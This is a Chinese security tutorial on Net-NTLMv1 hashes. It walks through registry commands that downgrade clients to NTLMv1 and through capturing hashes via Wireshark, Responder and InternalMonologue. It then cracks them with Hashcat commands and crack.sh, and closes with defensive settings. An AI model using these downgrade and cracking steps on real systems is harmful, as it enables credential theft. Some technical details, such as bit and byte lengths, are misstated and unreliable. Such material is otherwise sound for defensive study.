Windows下的密码hash——Net-NTLMv1介绍
字数 1479 2025-08-29 08:32:09

Windows下的密码hash——Net-NTLMv1详解

0x00 概述

Net-NTLMv1是Windows早期版本使用的认证协议,相比Net-NTLMv2在安全性上更为脆弱。本文详细介绍Net-NTLMv1的加密机制、破解方法和防御策略。

0x01 Net-NTLMv1加密机制

认证流程

  1. 客户端向服务器发送请求
  2. 服务器生成8位Challenge并返回客户端
  3. 客户端使用用户密码hash加密Challenge,生成Response发送给服务器
  4. 服务器验证Response

与Net-NTLMv2的区别

  • Challenge长度:v1为8位,v2为16位
  • 加密算法:v1使用较弱的3DES加密

Response计算方法

  1. 将用户NTLM hash分成三组,每组7比特(不足补0)
  2. 使用这三组密钥对Server发来的Challenge进行3DES加密

0x02 Net-NTLMv1破解方法

方法一:捕获数据包+字典破解

环境配置:

  • 服务器:Server2008 x64 (192.168.62.144)
  • 客户端:Win7 x64 (192.168.62.137)
  • 测试账户:log1/logtest123!

步骤:

  1. 修改客户端注册表启用Net-NTLMv1:

    reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 0 /f
    
  2. 客户端远程连接服务器:

    net use \\192.168.62.144 /u:log1 logtest123!
    
  3. 使用Wireshark捕获数据包,获取关键信息:

    • Challenge:8d2da0f5e21e20ee
    • LM Response:fec9b082080e34ba00000000000000000000000000000000
    • NTLM Response:51acb9f9909f0e3c4254c332f5e302a38429c5490206bc04
    • Username:log1
    • Hostname:WIN-BH7SVRRDGVA
  4. 构造Hashcat输入格式:

    username::hostname:LM response:NTLM response:challenge
    log1::WIN-BH7SVRRDGVA:fec9b082080e34ba00000000000000000000000000000000:51acb9f9909f0e3c4254c332f5e302a38429c5490206bc04:8d2da0f5e21e20ee
    
  5. 使用Hashcat破解:

    hashcat -m 5500 "log1::WIN-BH7SVRRDGVA:fec9b082080e34ba00000000000000000000000000000000:51acb9f9909f0e3c4254c332f5e302a38429c5490206bc04:8d2da0f5e21e20ee" /tmp/password.list -o found.txt --force
    

方法二:中间人攻击+彩虹表破解

  1. 使用Responder等工具控制Challenge为固定值1122334455667788
  2. 获取Net-NTLMv1 hash示例:
    a::WIN-BH7SVRRDGVA:aebc606d66e80ea649198ed339bda8cd7872c227d6baf33a:aebc606d66e80ea649198ed339bda8cd7872c227d6baf33a:1122334455667788
    
  3. 使用crack.sh在线破解:
    • 输入格式:NTHASH:aebc606d66e80ea649198ed339bda8cd7872c227d6baf33a
    • 通常在1分钟内可获取结果

0x03 利用工具InternalMonologue

功能特点

  • 无需操作lsass.exe进程
  • 不与远程服务器交互,不产生网络流量
  • 不进行NTLM认证,不产生日志

使用方法

  1. 修改注册表降级到Net-NTLMv1:

    reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /f
    reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f
    reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f
    
  2. 运行InternalMonologue获取Net-NTLMv1响应

  3. 使用crack.sh破解获取的hash

普通用户权限下的利用

即使以普通用户权限运行,也能获取Net-NTLMv2数据包:

a::WIN-BH7SVRRDGVA:1122334455667788:db18ac502e829dfab120e78c041e2f87:01010000000000008e2ddebb92c2d30175f9bda99183337900000000020000000000000000000000

使用Hashcat破解:

hashcat -m 5600 "a::WIN-BH7SVRRDGVA:1122334455667788:db18ac502e829dfab120e78c041e2f87:01010000000000008e2ddebb92c2d30175f9bda99183337900000000020000000000000000000000" /tmp/password.list --force

0x04 防御策略

  1. 保持系统默认设置:Windows Vista及以后版本默认使用Net-NTLMv2
  2. 禁用Net-NTLMv1
    reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 3 /f
    
  3. 使用强密码策略:增加字典破解难度
  4. 监控注册表修改:特别是lmcompatibilitylevel等关键项的变更

0x05 总结

Net-NTLMv1由于其脆弱性,在现代Windows环境中已被Net-NTLMv2取代。了解其工作机制有助于更好地理解Windows认证机制和安全防御。防御方面应保持系统默认的Net-NTLMv2设置,并监控可能的降级攻击。

参考资源

  1. NTLM认证协议详解
  2. Hashcat参数说明
  3. 在线破解服务
  4. InternalMonologue工具
Windows下的密码hash——Net-NTLMv1详解 0x00 概述 Net-NTLMv1是Windows早期版本使用的认证协议,相比Net-NTLMv2在安全性上更为脆弱。本文详细介绍Net-NTLMv1的加密机制、破解方法和防御策略。 0x01 Net-NTLMv1加密机制 认证流程 客户端向服务器发送请求 服务器生成8位Challenge并返回客户端 客户端使用用户密码hash加密Challenge,生成Response发送给服务器 服务器验证Response 与Net-NTLMv2的区别 Challenge长度:v1为8位,v2为16位 加密算法:v1使用较弱的3DES加密 Response计算方法 将用户NTLM hash分成三组,每组7比特(不足补0) 使用这三组密钥对Server发来的Challenge进行3DES加密 0x02 Net-NTLMv1破解方法 方法一:捕获数据包+字典破解 环境配置: 服务器:Server2008 x64 (192.168.62.144) 客户端:Win7 x64 (192.168.62.137) 测试账户:log1/logtest123 ! 步骤: 修改客户端注册表启用Net-NTLMv1: 客户端远程连接服务器: 使用Wireshark捕获数据包,获取关键信息: Challenge:8d2da0f5e21e20ee LM Response:fec9b082080e34ba00000000000000000000000000000000 NTLM Response:51acb9f9909f0e3c4254c332f5e302a38429c5490206bc04 Username:log1 Hostname:WIN-BH7SVRRDGVA 构造Hashcat输入格式: 使用Hashcat破解: 方法二:中间人攻击+彩虹表破解 使用Responder等工具控制Challenge为固定值1122334455667788 获取Net-NTLMv1 hash示例: 使用crack.sh在线破解: 输入格式: NTHASH:aebc606d66e80ea649198ed339bda8cd7872c227d6baf33a 通常在1分钟内可获取结果 0x03 利用工具InternalMonologue 功能特点 无需操作lsass.exe进程 不与远程服务器交互,不产生网络流量 不进行NTLM认证,不产生日志 使用方法 修改注册表降级到Net-NTLMv1: 运行InternalMonologue获取Net-NTLMv1响应 使用crack.sh破解获取的hash 普通用户权限下的利用 即使以普通用户权限运行,也能获取Net-NTLMv2数据包: 使用Hashcat破解: 0x04 防御策略 保持系统默认设置 :Windows Vista及以后版本默认使用Net-NTLMv2 禁用Net-NTLMv1 : 使用强密码策略 :增加字典破解难度 监控注册表修改 :特别是lmcompatibilitylevel等关键项的变更 0x05 总结 Net-NTLMv1由于其脆弱性,在现代Windows环境中已被Net-NTLMv2取代。了解其工作机制有助于更好地理解Windows认证机制和安全防御。防御方面应保持系统默认的Net-NTLMv2设置,并监控可能的降级攻击。 参考资源 NTLM认证协议详解 Hashcat参数说明 在线破解服务 InternalMonologue工具